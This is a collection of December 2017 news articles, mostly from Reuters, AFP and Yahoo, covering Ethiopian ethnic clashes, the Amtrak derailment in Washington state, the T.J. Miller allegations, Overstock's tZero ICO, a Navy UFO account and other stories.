(Reporting by Polina Nikolskaya; Writing by Katya Golubkova; Editing by Andrew Heavens)
By Aaron Maasho ADDIS ABABA (Reuters) - At least 61 people have been killed in clashes between different ethnic groups in Ethiopia's Oromiya region, officials said, the latest bout of violence to highlight increasing instability in a province racked by bloody protests in 2015 and 2016. From Thursday, 29 ethnic Oromos were killed by ethnic Somali attackers in the region's Hawi Gudina and Daro Lebu districts, regional spokesman Addisu Arega Kitessa said. The violence triggered revenge attacks by ethnic Oromos in another district, resulting in the killing of 32 Somalis who were being sheltered in the area following a previous round of violence. "The region is working to bring the perpetrators to justice," the spokesman said in a statement. The cause of the latest violence was not known, but it followed protests in Oromiya's Celenko town where the region's officials said 16 ethnic Oromos were shot dead on Tuesday by soldiers trying to disperse the crowd. "We do not know who ordered the deployment of the military. This illegal act should be punished," said Lema Megersa, the region's president. The clashes are likely to fuel fears about security in Ethiopia, the region's biggest economy and a staunch Western ally. Lema's comments also illustrate growing friction within Ethiopia's ruling EPRDF coalition, since unrest roiled the Oromiya region in 2015 and 2016, when hundreds of people were killed. At that time, the violence forced the government to impose a nine-month state of emergency that was only lifted in August. The unrest was provoked by a development scheme for the capital Addis Ababa that dissidents said amounted to land grabs and turned into broader anti-government demonstrations over political and human rights. It included attacks on businesses, many of them foreign-owned, including farms growing flowers for export. (Reporting by Aaron Maasho; Editing by Elias Biryabarema, Robert Birsel)
BERLIN (Reuters) - At least 65 media workers around the world have been killed doing their jobs this year, media freedom organization Reporters Without Borders said on Tuesday. Among the dead were 50 professional journalists, seven citizen journalists and eight other media workers. The five most dangerous countries were Syria, Mexico, Afghanistan, Iraq and the Philippines. Of those killed, 35 died in regions where armed conflict is ongoing while 30 were killed outside of such areas. Thirty-nine of those killed were targeted for their journalistic work such as reporting on political corruption or organized crime while the other 26 were killed while working due to shelling and bomb attacks, for example. "It's alarming that so many journalists were murdered outside of war zones," said Katja Gloger, a board member of Reporters Without Borders. "In far too many countries perpetrators can assume they'll get off scot-free if they're violent towards media professionals," she added. The organization said more than 300 media workers were currently in prison, with around half of those in five countries, namely Turkey, China, Syria, Iran and Vietnam. (Reporting by Markus Wacket; Writing by Michelle Martin; Editing by Raissa Kasolowsky)
PARIS (Reuters) - The military campaign against Islamic State in Syria should be completed in February following the end of fighting against the militant group in Iraq, French President Emmanuel Macron said. "On December 9, Iraqi Prime Minister (Haider al-) Abadi announced the end of the war and the victory over Daesh, and I think that by mid- to late February we will have won the war in Syria," Macron said in a broadcast interview, using the Arab acronym for Islamic State. France would now push for peace talks involving all parties in the six-year-old Syrian conflict, including President Bashar al-Assad, Macron told France 2 televisions, promising "initiatives" early next year. He did not say how any French proposals would relate to existing negotiations being brokered by the United Nations. Despite being a leading backer of the Syrian opposition, France has sought a more pragmatic approach to the Syrian conflict since the arrival of President Emmanuel Macron, saying that the departure of al-Assad was not a pre-condition for talks. Assad's government has been backed by Russia and Iran. President Vladimir Putin last week announced a significant scaling back of Russian forces in Syria, saying their mission was largely complete. (Reporting by Marine Pennetier, Gus Trompiz and John Irish)
Valletta (AFP) - The trial of three men accused of killing campaigning Maltese journalist Daphne Caruana Galizia will start for the third time Tuesday after a second magistrate recused herself from the case.

Galizia died in a car bombing on October 16. The blast reduced her vehicle to a shell of twisted, burned metal and her murder led to an outpouring of grief on Malta and an international outcry.

Brothers George and Alfred Degiorgio, aged 55 and 53 respectively, and Vincent Muscat, 55 -- have pleaded not guilty to planning the killing.

One of Malta's most prominent public figures, Galizia became well-known thanks to a blog she used to expose crime and corruption in the small but economically booming nation.

But the trial has been held up because magistrate Charmaine Galea said the blogger had tackled the subject of her appointment to the bench, forcing her to withdraw from the case.

Another magistrate, Donatella Frendo Dimech, last week also refused to hear the trial, saying she was at school with one of Galizias sisters.

Magistrate Claire Stafrace Zammit will now hear the case.

Malta has only 22 magistrates and another 22 judges. Every criminal case is heard by a magistrate in the lower courts but a magistrate cannot order prison sentences of more than 12 years.

Therefore, following the compilation of evidence stage, the case is referred to higher courts for a trial by jury or judge -- whichever the accused choose.

With Malta, population just 400,000, being the smallest EU state, links between people involved in a case is liable to happen.

The three accused are charged with manufacturing the bomb, murder, taking part in organised crime and well as possession of explosives.
NextShark

A 19-year-old TikTok user has gone viral after sharing a video of their eulogy to their deceased father at his funeral, in which they call him a racist, misogynistic, xenophobic, Trump-loving man. The user, identified as Saga, goes by the handle @saginthesunforever and has self-described themselves as a Black supremacist on their TikTok bio. Saga, who uses the pronouns they/them, has received widespread backlash after their viral video was re-posted to Twitter by controversial conservative account Libs of TIkTok on Tuesday.
Marlins GM Michael Hill does not appreciate players asking for trades. (AP Photo)

The Miami Marlins have had an  interesting  last couple weeks. The team parted ways with some of its best players. Dee Gordon, Giancarlo Stanton and Marcell Ozuna all left as part of the clubs desire to decrease payroll. Theres still some talent left on the club, but its unclear whether those players still want to be in Miami.

Both Christian Yelich and J.T. Realmuto have made it clear they would prefer to be dealt from the Marlins as soon as possible. Yelich made his desire known shortly after Stanton was dealt. Yelich put out his trade request Monday.

Given the talent left around those guys, its no surprise they no longer want to be with the team. Unlike Stanton, however, it doesnt look like theyll get their way. General manager Michael Hill released a statement Monday afternoon, making it clear the team isnt happy about players trying to force their way out of Miami.

Michael Hill of the #Marlins just issued this statement in response to an inquiry on Yelich and Realmuto. It reinforces the notion that the two players have zero leverage beyond being unhappy with the teardown in Miami. pic.twitter.com/VDfCYZJB3C  Jerry Crasnick (@jcrasnick) December 18, 2017

Hill doesnt come out and specifically say Realmuto and Yelich will not be dealt, but he expresses displeasure at both players leaking their desire to leave to the media. As he states, the team views them as building blocks, and would prefer to initiate any trade conversation regarding anyone left on the team. In other words, well determine whether you are traded. Not you.

It shouldnt be a shock both sides feel this way. Yelich and Realmuto know the Marlins dont plan on contending in the near future, so of course they want to go to a place where things look more optimistic.

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On the Marlins side, they still have control over both guys for a number of years. Yelich is signed through at least 2021. Realmuto is under contract through 2020. Depending on how the Marlins draft, its conceivable theyll be good again before both players are ready to leave.

The team could kickstart the rebuild by dealing both guys, though. Given their talent, cost and the years of control left on both players, Yelich and Realmuto could bring back significant prospect hauls.

There are legitimate arguments for both sides. Should the Marlins truly tear everything down in an effort to pick up more prospects, or do they keep some productive players to give the fans something to care about?

You can debate how the team should handle things going forward, but its probably not good that theyve alienated their two best remaining players while they make that decision.

      

Chris Cwik is a writer for Yahoo Sports. Have a tip? Email him at christophercwik@yahoo.com or follow him on Twitter! Follow @Chris_Cwik

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Hell be home for Christmas.

The Views Meghan McCain took to Twitter on Sunday to share that her father, Sen. John McCain, who is battling brain cancer, was returning home to Arizona to spend Christmas with his family.

Thank you to everyone for their kind words, she tweeted. My father is doing well and we are all looking forward to spending Christmas together in Arizona.

If youre feeling charitable this Christmas @HeadfortheCure or @NBTStweets to help find a cure for brain cancer is what I recommend, she added.

Sen. McCain tweeted Monday:

Thanks to everyone for your support & words of encouragement! Im feeling well & looking forward to returning to work after the holidays.

Thanks to everyone for your support & words of encouragement! I'm feeling well & looking forward to returning to work after the holidays.  John McCain (@SenJohnMcCain) December 18, 2017

The 81-year-old senator left Washington, D.C., on Sunday, which means hell miss this weeks expected vote on the controversial GOP tax bill.

Thank you to everyone for their kind words. My father is doing well and we are all looking forward to spending Christmas together in Arizona. If youre feeling charitable this Christmas @HeadfortheCure or @NBTStweets to help find a cure for brain cancer is what I recommend. ??  Meghan McCain (@MeghanMcCain) December 17, 2017

President Donald Trump told reporters on Sunday that the senator and his wife, Cindy McCain, have headed back [to Arizona], but I understand hell come if we ever needed his help, which hopefully we wont.

But the word is John will come back if we need his vote, the president added, according to The Washington Post. Its too bad. Hes going through a very tough time, theres no question about it. But he will come back if we need his vote.

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Trump also said he spoke to Cindy McCain by phone Sunday and I wished her well. I wish John well.

Cindy McCain tweeted on Monday: Nothing beats the feeling of being home in Arizona for the Holidays! with a photo of a Christmas tree.

Nothing beats the feeling of being home in Arizona for the Holidays! A post shared by Cindy McCain (@cindymccain) on Dec 18, 2017 at 6:14am PST

Sen. McCain was admitted last week to Walter Reed Medical Center, where he was treated for a viral infection stemming from his cancer treatment.

In a statement on Sunday, his office released a health update from Dr. Mark Gilbert, chief of neuro-oncology at the National Institutes of Healths National Cancer Institute, ABC News reported.

Senator McCain has responded well to treatment he received at Walter Reed Medical Center for a viral infection and continues to improve, Gilbert said. An evaluation of his underlying cancer shows he is responding positively to ongoing treatment.

Sen. McCains office added that he looks forward to returning to Washington in January.
Following a major power outage at Atlanta's Hartsfield-Jackson International airport on Sunday afternoon, power was restored around 11:30 p.m. EST on Sunday evening. However, Monday morning's weather conditions may result in further delays.

Hundreds of delayed and 1,150 canceled flights stranded travelers in the airport and on the tarmac as passengers were unable to disembark into the crowded terminal.



After 10.5 hour-long international flight departing at 4:55 am ET, we now approach hour 5 on the tarmac at Atlanta. No food. But everyone is holding it together. pic.twitter.com/tcPkvGtdP9  Ellen L. Carmichael (@ellencarmichael) December 18, 2017

Airport officials reported that Georgia Power attributed the outage to a fire in an underground electrical facility.

As the nation's busiest airport, flight delays at Hartsfield-Jackson are expected to reverberate through hubs around the country. Airlines will be forced to reschedule, reroute and re-book flights through at least Monday.

A damp and foggy forecast for the Atlanta area through Monday morning could lead to further travel delays.

"Visibility at Hartsfield-Jackson International Airport is expected to fall to around one mile early Monday morning due to fog and drizzle, but could dip to one-half mile for a brief time," warned AccuWeather Senior Meteorologist Mike Doll.

However, "unless the visibility falls to one-quarter of a mile or lower, weather conditions are not likely to cause significant flight delays," Doll said.

"A vast majority of commercial flights can take off when the visibility is one-half mile. Depending on the type of aircraft, some planes may not be allowed to land due to low visibility," he said.

This could result in complications on Monday morning as airport officials work to get everyone to their destinations. All delays, diversions and cancellations can be found here.


The Navy pilots claim they witnessed a UFO flying close to the San Diego coast in 2004 (Rex/stock photo)

A former navy pilot has spoken out about the time he was weirded out when he encountered what he believed was a UFO.

Navy Commander David Fravor was flying over the Pacific Ocean with Navy Lieutenant Commander Jim Slaight in 2004 when the pair were told to investigate mysterious aircraft.

Fravor claims that an operations officer aboard Navy cruiser U.S.S. Princeton told the pair, who were flying F/A-18F Super Hornets off the coast of San Diego, that the Navy observed the objects appearing at 80,000 feet before speeding towards the sea and stopping to hover at 20,000 feet.

The officer added that the objects would then either shoot back up into the sky or drop off the radar completely.

Fravor told the New York Times (NYT) that having approached the area, he witnessed a white, oval aircraft, measuring around 40ft long, hovering 50ft above the churning sea.

David Fravor (pictured with his wife) said he was weirded out by the experience (Facebook)

Having attempted to get closer to the mystery object, the aircraft began to rise before it quickly flew away, according to Fravor.

He told the NYT: It accelerated like nothing Ive ever seen.

He added that he was pretty weirded out by the experience.

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Fravor claims that the UFO was later picked up on radar, and had travelled between 40 and 60 miles in less than a minute.

Fravor added: I have no idea what I saw. It had no plumes, wings or rotors and outran our F-18s.

Navy officials did not investigate the alleged incident further.

The Pentagon finally admitted the existence of a program to investigate UFO sightings (Rex)

Fravors claims come after it was revealed that the Pentagon set up a secret multi-million dollar program to investigate UFO sightings.

The Advanced Aviation Threat Identification Program looked into reports of military encounters with unidentified flying objects.

It ran from 2007 until 2012 before funding was taken away and moved elsewhere.

Pentagon spokeswoman Laura Ochoa said in an email: It was determined that there were other, higher priority issues that merited funding and it was in the best interest of the Department of Defence to make a change.
Kim Jong-Un

Last week, the United States hinted at a new willingness to engage with North Korea after months of escalating rhetoric between the countries.

Weve said from the diplomatic side, were ready to talk any time North Korea would like to talk and were ready to have the first meeting without precondition, Secretary of State Rex Tillerson said.

However, a White House official then said that clearly right now is not the time for talks with Tillerson adding that North Korea must earn its way back to the table.

A sustained cessation of North Koreas threatening behaviour must occur before talks can begin, he said.

But while Donald Trump and Kim Jong-un may be deadlock, there are more than 50 diplomatic channels open with North Korea, according to the BBC.

It has established formal diplomatic relations with more than 160 countries and it maintains 55 embassies and consulates in 48 nations.

The broadcaster reports 25 states have diplomatic missions in the pariah country, including the United Kingdom, Germany and Sweden, according to maps by the Lowy Institute.

After the USs representative to the UN, Nikki Haley, called on all nations to cut off all ties with the stage, the likes of Spain, Kuwait, Peru, Mexico and Italy have moved to expel ambassadors or diplomats in the past few months.

Portugal, Uganda, Singapore, UAE and the Philippines have all suspended relations or cut other ties.

The United States, Japan, South Korea and France have never established diplomatic relations with North Korea.

The Lowy Institutes map of diplomatic links also shows that few countries networks are getting smaller, with 20 states having expanded their diplomatic network in the past two years.

This morning, Donald Trumps national security adviser said the US is willing to compel North Korea to abandon its nuclear weapons programme.

HR McMaster reiterated the assertion that all options were open and declined to say the US was committed to a peaceful resolution

Story continues

He told the BBC: Of course thats what we want, but were not committed to a peaceful [resolution]  were committed to a resolution.

We want the resolution to be peaceful, but as the president has said, all options are on the table and we have to be prepared, if necessary, to compel the denuclearisation of North Korea without the cooperation of that regime.

The chances of war, who knows what they are? They could go up or down, I think, based on what we all decide to do. North Korea is a grave threat to all civilised people across the globe.

A spokesperson for the Lowly Institute said the map revealed a number of surprising findings, including North Koreas still quite extensive network.

The North Korea network, digging deeper, is quite dysfunctional; the evidence suggests that many if not all posts are required to be self-funded, acting as conduits for businesses both legal and illicit, raising and funnelling funds back to Pyongyang.




Fish, Wildlife & Parks has set January meeting dates in north-central Montana to discuss the tentative hunting regulations for the next two years.

The tentative rules and regulations were approved by the Fish and Wildlife Commission earlier this month, and include statewide and regional regulations for antelope, black bear, bighorn sheep, bison, deer, elk, moose, mountain goat, mountain lion and upland game birds.

Among FWP Region 4 recommendations for the 2018 and 2019 seasons are adding a regional white-tailed deer B license, increasing mule deer B licenses in several hunting districts and making the dates and licenses of the Region 4 elk shoulder seasons more uniform.

The Fish and Wildlife Commission will consider public comments before making final decisions at its February meeting in Helena.

The FWP Region 4 meetings start at 7 p.m. at the following locations:

 Chester  Jan. 3, Chester High School Auditorium, 511 Main St.;

 Shelby  Jan. 4, Marias River Electric Cooperative, 910 Roosevelt Highway;

 Stanford  Jan. 9, Judith Basin County Courthouse meeting room, 91 3rd St. N.;

 Conrad  Jan. 9, Pondera Community Center, 311 South Virginia;

;

 Wolf Creek  Jan. 11, Wolf Creek School;

 White Sulphur Springs  Jan. 11, WSS Training Center, 104 W. Crawford;

 Choteau  Jan. 15, Choteau public library  back room;

 Fort Benton  Jan. 16, Ambulance Barn, 810 15th St.;

 Lewistown  Jan. 17, Lewistown Sheriffs Complex, 121 8th Ave. S.;

 Great Falls  Jan.18, Paris Gibson Education Center, 2400 Central Ave.
T.J. Miller is the latest star to be accused of sexual misconduct.

The Daily Beast reports that while in college at George Washington University in the early aughts, the Silicon Valley actor, 36, was accused of sexual assault. The accusations were reportedly addressed by a student court at the Washington, D.C., school.

Millers accuser, who was given the pseudonym Sarah in the article, was taking classes at the school when Miller was an undergrad. They were in the same comedy troupe, receSs, and began a relationship. Months into their romance, after she lost her virginity to him, they were fooling around during a drunken night together when Miller began shaking me violently and punched her in the mouth during sex, she claims. The next morning, she woke up with a fractured tooth and a bloodied lip, she said. She claimed she asked Miller about it and he said she had fallen down the night before in a drunken haze.

T.J. Miller at the premiere of The Emoji Movie on July 23, 2017. (Photo: Jason LaVeris/FilmMagic)

They continued their relationship, but Sarah said another incident followed. While engaging in consensual sex at her apartment, Miller became violent again, and it turned into a five-hour ordeal. He put his hands around my throat and closed them, and I couldnt breathe, she told the website, emphasizing that she was not drunk when the second incident took place. I was genuinely terrified and completely surprised. I understand now that this is for some people a kink, and I continue to believe it is [something] that should be entered into by consenting parties. But, as someone who had only begun having sexual encounters, like, about three months earlier, I had no awareness this was a kink, and I had certainly not entered into any agreement that I would be choked.

Sarah said things escalated, and he anally penetrated me without my consent, including with a beer bottle. She said she froze during the incident because she didnt want to believe it was happening.

Two of Sarahs housemates spoke to the Daily Beast, saying they heard a loud smacking noise in Sarahs bedroom, and one of them knocked on the door at one point to intervene, but she declined help. The next day, they noticed she was bruised and upset and urged her to call the police and seek medical treatment at a hospital. (One of Sarahs ex-boyfriends also spoke to the Daily Beast. He said she told him about the sexual assault, and he remembers Miller going through the college trial.)

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Sarah says she and Miller parted ways after the incident. She asked mutual friends about his behavior and was told, Yeah, thats just T.J.

It took Sarah a year to come forward to GWUs campus police, she said. (She didnt want to take the case to the police since nearly a year had past, and there was no remaining physical evidence.) Her allegations were handled by the student court at the university. According to a former roommate who testified there, Miller, then a senior, was there along with his father and an attorney. After a trial period that lasted a couple of weeks, Sarah was told by the university that the issue had been resolved. A school spokesperson wouldnt tell the Daily Beast the outcome of the trial. However, multiple sources told the website that Miller was expelled after he graduated, which was described as an outcome that appeared to be an attempt by the university to satisfy both parties.

Miller left his alma mater and went on to become a standup comedian. His most famous role  in HBOs Silicon Valley followed  and he voiced a character in The Emoji Movie, which came out this past summer. However, according to the article, rumors about the accusations have followed him during his career. According to the Daily Beast, hes spoken about the incident, denying the accusations and saying he was wrongfully accused. He has also cracked jokes about punching a woman he knew in college, according to the story.

For the story, Miller denied Sarahs claims of sexual assault and physical assault. In a joint statement with his wife of two years, Kate Gorney, they said, We met this woman over a decade ago while studying together in college, she attempted to break us up back then by plotting for over a year before making contradictory claims and accusations. She was asked to leave our university comedy group because of worrisome and disturbing behavior, which angered her immensely. She then became fixated on our relationship and began telling people around campus, Im going to destroy them and Im going to ruin him. (Sarah denied this in the Daily Beast article, saying, Of course not.)

T.J. Miller and his wife, Kate Gorney, at the premiere of The Emoji Movie on July 23, 2017. (Photo: Jason LaVeris/FilmMagic)

The Millers said that Sarah began again to circulate rumors online once [my and Kates] relationship became public. Sadly, she is now using the current climate to bandwagon and launch these false accusations again. It is unfortunate that she is choosing this route, as it undermines the important movement to make women feel safe coming forward about legitimate claims against real known predators.

On Tuesday, as this story broke, Miller and Gorney posted their denial on Twitter. They say they stand together and will not allow this person to take advantage of a serious movement toward gender equality by allowing her to muddy the water with an unrelated personal agenda.

Our hearts are . pic.twitter.com/WDn24A4XcO  Kate T. Miller (@rosepetalpistol) December 19, 2017

Read more from Yahoo Entertainment:
Overstock.coms (OSTK) CEO wants to redraw an essential way Wall Street operates using bitcoin technology. On Monday Patrick Byrne, who allowed Overstock to accept bitcoin starting in 2014, launched an initial coin offering (ICO) for tokens for a new trading platform called tZero. Byrne says it will be the future of trading. An ICO is similar to an IPO, but instead of issuing shares, issues digital coins.

In an interview with Yahoo Finance, Byrne said that the ICO would be capped at $250 million, with an option to green-shoe  short-sell an additional $50 million at the underwriting price to get to $300 million  if the demand is as high as expected.

There seems to be overwhelming demand, and we dont need more than $250 million to do all the disruption we plan on doing, Byrne said of the capped ICO, which is only open to accredited and offshore investors. I wish we could make it for everybody.

Disrupting Wall Street

The disruption Byrne speaks of would essentially turn aspects of Wall Street on its head. The coins offered in Mondays ICO arent designed to be the next bitcoin, but rather to serve as tokens to use the tZero trading mechanism, which will host future ICOs, trading, and short-selling. It aims to operate as a blockchain-ified Wall Street exchange  potentially as an alternative to the NYSE.

Owners of these tokens will get a dividend-like revenue share from tZero as well as the ability to use the token in the exchange to facilitate trading and shorting. The advantage of this hybrid-model over traditional exchanges, Byrne says, is lower cost, transparency from a distributed ledger, and less shady business. The platform would initially trade the tZero token but plans to expand. Byrne sees tokens as the future of securities, with ICOs replacing IPOs.

TZero, which is SEC compliant, could drop transaction costs 80% to 90%, according to Byrne, and completely disrupt securities lending, a mechanism that powers short-selling and is a significant revenue source for brokers.

Story continues

ICOs have been rife with fraud and are a fairly complicated system for people who are unfamiliar. Byrne, who said he rarely applauds the SEC, said he appreciated the recent crackdowns, likening it to the crackdown of guys driving around with stacks of stock certificates, selling to Grandma over the backyard fence in the early 20th century. Byrne says some level of paternalism is necessary to make sure things are above-board.

A safer option?

Byrne maintains that once tZero is up and running, itll be safer than the current system of IPOs and traditional exchanges.

[ICOs] will ultimately be better. said Byrne. I believe the market as it exists has a great deal of manipulation. We just showed up on the Reg SHO [a list of failed market settlements] list on Friday which means were being naked shorted again.

A naked short is when someone sells a stock short without borrowing, something Byrne is notably against, and is not supposed to happen for the most part. This behavior isnt possible with tZero because the system requires you to purchase a digital locate receipt, which proves theres something available for you to sell, if you plan to short.

In a blockchain capital market, all kinds of mischief that occurs on Wall Street cant even occur, said Byrne. It doesnt even depend on regulators to stop it  it cant happen.

OverStock CEO Patrick Byrne has a retail business but has been a major player in cryptocurrency for years. (AP Photo/George Frey, file)

In tZeros blockchain, Byrne says, the trading and settlement aspects of Wall Street that are separated will be united, preventing weird stuff that happens between the two actions. Ultimately this ecosystem will be safer, Byrne said.

At the same time, Byrne has put Overstocks retail business up for sale, looking to focus exclusively on the activities of Overstocks blockchain arm Medici, and De Soto, Inc, a new project with Peruvian economist Hernando de Soto Polar, which aims to apply blockchain to formalize informal property rights to unlock capital. Wall Street is just one thing of many things Byrne is aiming to disrupt.

Ethan Wolff-Mann is a writer at Yahoo Finance. Follow him on Twitter @ewolffmann. Confidential tip line: FinanceTips[at]oath[.com].

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TOKYO (Reuters) - The wife of China's ambassador to Japan and the governor of Tokyo turned out on Monday to help mark this week's public debut of Japan's popular panda cub, who turned six-months-old this month.

The healthy female cub was born in June, five years after her mother, Shin Shin, lost another cub within days of its birth. It has been nearly three decades since a baby panda at the capitals Ueno Zoo has survived this long.

Wang Wan, the wife of Chinese ambassador Cheng Yonghua, joined Tokyo Governor Yuriko Koike at the media event one day before the general public can view the panda from Tuesday.

Sino-Japanese ties are often strained by the bitter legacy of World War Two and regional rivalry, but panda diplomacy sometimes offers a touch of friendship to the relationship.

"This year marks the 45th anniversary of the normalization of ties between China and Japan. I think the birth of Shan Shan - pronounced Xiang Xiang in Chinese - is truly auspicious," Wang said.

The panda toddler, small enough at birth to fit in the palm of a hand, now has typical panda markings and weighs around 12 kilograms. On Monday, media saw her munching bamboo, strolling and climbing - including perching precariously on a tree stump.

The panda toddler's name, written with the Chinese character for fragrant, was chosen from more than 322,000 suggestions submitted by the public.

Shin Shin and her partner, Ri Ri, arrived from China in February 2011 and went on view soon after the following months devastating earthquake, offering a scrap of good news for an anguished nation.

A male cub born in 2012 was the first in 24 years at the Ueno Zoo, but six days after its birth, it was found lying motionless on its mother's belly and efforts to revive it failed.

(Reporting by Megumi Lim and Teppei Kasai; Writing by Linda Sieg; Editing by Michael Perry)
DuPont (United States) (AFP) - US investigators said an Amtrak passenger train was traveling at more than double the speed limit before it derailed in Washington state, plunging off a bridge onto a busy highway and killing at least three people.

Preliminary information obtained from an event data recorder in the rear locomotive showed the train, which was traveling on a new route for the first time, was speeding at 80 miles (128 kilometers) per hour in a 30 mph zone.

But Bella Dinh-Zarr, vice chair of the National Transportation Safety Board (NTSB) told reporters it was "too early to tell" why the train was traveling so fast.

The train, which was carrying 77 passengers and seven crew, derailed in DuPont, about 50 miles south of Seattle, on a curve that passes over busy Interstate 5 at about 7:40 am (1540 GMT).

Pictures from the scene showed one mangled train carriage lying upside down on the interstate highway, while others dangled from the overpass at a precarious angle

Several other carriages also ended up on the highway, shutting down a key section of the busy artery that connects the greater Seattle metropolitan area to Olympia. All but one of the 14 train cars jumped the tracks.

- A faster service -

Washington State police spokeswoman Brooke Bova confirmed the death toll, and said that of the 100 or so people who were injured, several were in critical condition.

"We don't know if that number will change," she warned.

Officials gave no reason for the derailment of southbound Amtrak train 501, the inaugural run of a new service promising faster connections between Seattle and Portland, Oregon.

Local officials had warned only weeks ago that the track might not be safe enough to handle trains at higher speeds.

Federal investigators would visit the scene on Tuesday to begin an investigation which would last between a week and 10 days, Dinh-Zarr said.

Information obtained from the front locomotive's data recorder, which has been more difficult to access, would potentially lend more insight, she added.

Story continues

- 'People were screaming' -

Chris Karnes, a local transit official who was aboard at the time, described the moment when the train veered of the tracks.

"All of a sudden, we felt this rocking and creaking noise, and it felt like we were heading down a hill," he told KIRO-TV.

"The next thing we know, we're being slammed into the front of our seats, windows are breaking, we stop, and there's water gushing out of the train. People were screaming."

The distress call was placed by a conductor on board, who can be heard in an audio recording, saying: "Amtrak 501, emergency emergency emergency, we are on the ground."

"We were coming around the corner to take the bridge over I-5 there... and we went on the ground," he said.

"We got cars everywhere and down onto the highway."

The train hit five vehicles and two trucks, police said.

But there were no deaths among those on the highway below, a spokesman for Pierce County Sheriff's Department said.

Amtrak president and co-chief executive Richard Anderson said he was "deeply saddened" and pledged to do "everything in our power to support our passengers and crew and their families."

- Safety concerns -

The accident marred the launch of faster services on the route after a $181-million upgrade project to improve the rails, the locomotives and the signaling technology.

The trains were expected to reach speeds of 79 mph through the densely-populated area with the improved systems and track.

But local officials had worried about them taking curves in the area at higher speeds.

In early December, local mayor Don Anderson had warned that more needed to be done to ensure safety on the route.

"Come back when there is that accident, and try to justify not putting in those safety enhancements," he said at the time, according to KOMO News.

The local transit official who was on board at the time said the tracks were supposed to have been upgraded to accommodate higher speeds.

"I'm not sure what happened," Karnes said.

- Trump pledges investment -

US President Donald Trump said the accident underscored the need to invest in infrastructure.

"Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!" he tweeted.

The new Siemens Charger locomotives were equipped with "positive train control" safety systems, designed to automatically stop the train in dangerous situations and mandated for trains around the country.

But the technology was only expected to be used next year when it is activated on the entire rail corridor, according to the Washington State Department of Transportation.

Dinh-Zarr said investigators were checking to see whether the technology had been installed in this particular track section.

In 2015, an Amtrak train traveling well above the designated speed derailed in Philadelphia, killing eight.

At the time, analysts said positive train control technology could have prevented the accident.
By Tom James

DUPONT, Wash. (Reuters) - An Amtrak train derailed on Monday as it took a corner on a new stretch of track in Washington state at more than twice the speed limit, sending passenger cars tumbling from a bridge and killing at least three people.

The train was on its inaugural run on a faster route from Seattle to Portland, Oregon, when 13 of its 14 cars jumped the tracks and tumbled onto a major highway near the town of DuPont.

In addition to the three fatalities, about 100 people were taken to nearby hospitals, of whom 10 had serious injuries, Washington State Patrol spokeswoman Brooke Bova told a news conference.

Seven motor vehicles were also involved in the accident, and fragments of the bridge were left scattered on the highway. Some motorists were injured but none died, authorities said.

Amtrak said there were 86 people aboard the train, 80 of them passengers.

Officials with the National Transportation Safety Board (NTSB) said late on Monday that a data recorder recovered from a rear locomotive showed the train was traveling 80 miles (130 km) per hour in a 30 mile-per-hour zone when it jumped the track at a curve leading up to the bridge.

NTSB spokeswoman Bella Dinh-Zarr told reporters it was too early to tell if the train's speed contributed to the derailment.

But the accident seems likely to intensify concerns about railroad company's safety record, which was already under scrutiny following a series of fatal incidents.

For a map of derailment site, click http://tmsnrt.rs/2kKt2Uy

'PEOPLE WERE SCREAMING'

Some of those on board escaped by kicking out windows, passenger Chris Karnes told news outlet KIRO 7.

"All of a sudden, we felt this rocking and creaking noise, and it felt like we were heading down a hill," Karnes said. "The next thing we know, we're being slammed into the front of our seats, windows are breaking, we stop, and there's water gushing out of the train. People were screaming."

Story continues

Geoff Patrick, a spokesman for Sound Transit, which owns the track, said it had recently been upgraded to handle passenger trains from its prior use for slow-moving freight trains.

The derailment happened on the first day Amtrak trains began using the new inland route between the Washington cities of Tacoma and Olympia, part of a $181-million project to cut travel time.

The state transportation department said the track had undergone "weeks of inspection and testing".

The rerouting takes trains along Interstate 5, enabling them to reach speeds of 79 miles per hour.

Hours after the 7:34 a.m. (1534 GMT) crash, train cars remained dangling from the overpass, with others strewn across I-5, a major West Coast route stretching from the Canadian to Mexican borders.

Cranes were brought in to remove the carriages.

"It was just a scene of chaos and piles of twisted metal," said Ted Danek, administrator for the city of Dupont who visited the site.

The derailment was Amtrak's second in Washington state this year. On July 2, a southbound train with more than 250 people aboard derailed in the town of Steilacoom, just a few miles north of Monday's accident. No serious injuries were reported.

NO SPEED CONTROLS

Amtrak's co-chief executive, Richard Anderson, earlier said that positive train control (PTC), a system that automatically slows trains if they are going too fast, was not installed on the new stretch of track.

By law, PTC must be installed on all passenger rail systems by 2018, a deadline that has repeatedly been delayed after rail agencies said implementation was more complicated than anticipated. Sound Transit commuter line, which owns the track, reported in September that it did not yet have PTC in operation.

President Donald Trump said the crash illustrated the need for infrastructure improvements.

In May 2015, an Amtrak train derailed in Philadelphia, killing eight people and injuring more than 200. The NTSB concluded the driver became distracted by radio transmissions and lost track of where he was.

In April 2016 a train traveling from New York hit a backhoe tractor on railroad tracks in Chester, Pennsylvania, killing two maintenance workers and injuring 41.

That crash prompted criticism from the NTSB about Amtrak's safety record. Amtrak said last month it had made numerous reforms.

(Refiles to fix garbled words in paragraph 5)

(Reporting by Tom James in DuPont, Washington; Additional reporting by David Shepardson, Jonathan Allen, Gina Cherelus, Peter Szekely and Daniel Trotta in New York, Sharon Bernstein in Sacramento, California and Keith Coffman in Denver, Colorado; Writing by Joseph Ax and Jon Herskovitz; Editing by Clarence Fernandez and John Stonestreet)
Pope Francis celebrated his 81st birthday in Vatican City on Sunday with an extra-long pizza pie.

Surrounded by little helpers from a nearby Catholic childrens clinic, Francis counted to three before blowing out a single white candle on his birthday pie.

Francis jokingly encouraged the children, who are receiving medical care from the Vaticans Pediatric Dispensary of Santa Marta, to eat his birthday present.

Eat the four meters [13 feet] of pizza: eat well, it will do you good, it will make you grow! he said.

Pope Francis blows on a candle to celebrate his birthday during a special meeting at Paul VI hall at the Vatican on Dec. 17, 2017. (Photo: Osservatore Romano / Reuters)

He was later presented with a more traditional birthday cake in the Vaticans colors of white and yellow.

Francis was born to Italian immigrants in Buenos Aires, Argentina, on Dec. 17, 1936. This was his fifth birthday as the head of the Catholic church.

During his pizza party, Francis advised the children to speak often with God and to care for their grandparents.

The joy of children is a treasure, he said.

Following a custom started by the late Pope John Paul II, Pope Francis blessed Nativity figurines brought by pilgrims on Dec.17, 2017 at the Vatican. (Photo: Alessandra Benedetti - Corbis via Getty Images)

